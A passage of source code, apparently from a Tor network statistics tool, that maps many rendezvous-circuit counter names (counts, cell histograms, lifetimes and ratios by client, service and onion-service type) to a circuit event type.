'Rend2MultiHopServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend2MultiHopServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3CircuitCount' : { CIRCUIT_EVENT },
'Rend3CircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3CircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3CircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3CircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3CircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3FailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3FailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3FailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3FailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3FailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3FailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3SuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3SuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3SuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3SuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3SuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3SuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ActiveCircuitCount' : { CIRCUIT_EVENT },
'Rend3ActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3ActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3ActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3ActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3ActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3ActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3InactiveCircuitCount' : { CIRCUIT_EVENT },
'Rend3InactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3InactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3InactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3InactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3InactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3InactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3InactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3InactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3InactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3InactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3InactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3InactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3InactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3InactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3InactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3InactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3InactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ClientCircuitCount' : { CIRCUIT_EVENT },
'Rend3ClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ClientCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ClientFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3ClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3ClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ClientActiveCircuitCount' : { CIRCUIT_EVENT },
'Rend3ClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3ClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3ClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3ClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3ClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3ClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'Rend3ClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3ClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3ClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ServiceCircuitCount' : { CIRCUIT_EVENT },
'Rend3ServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3ServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3ServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'Rend3ServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3ServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3ServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3ServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3ServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3ServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'Rend3ServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3ServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3ServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3ServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3ServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3ServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3ServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientCircuitCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveCircuitCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3Tor2WebClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceCircuitCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3SingleOnionServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3MultiHopClientCircuitCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopClientCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3MultiHopClientFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3MultiHopClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveCircuitCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Rend3MultiHopClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3MultiHopClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3MultiHopClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3MultiHopClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceCircuitCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Rend3MultiHopServiceCircuitLifeTime' : { CIRCUIT_EVENT },
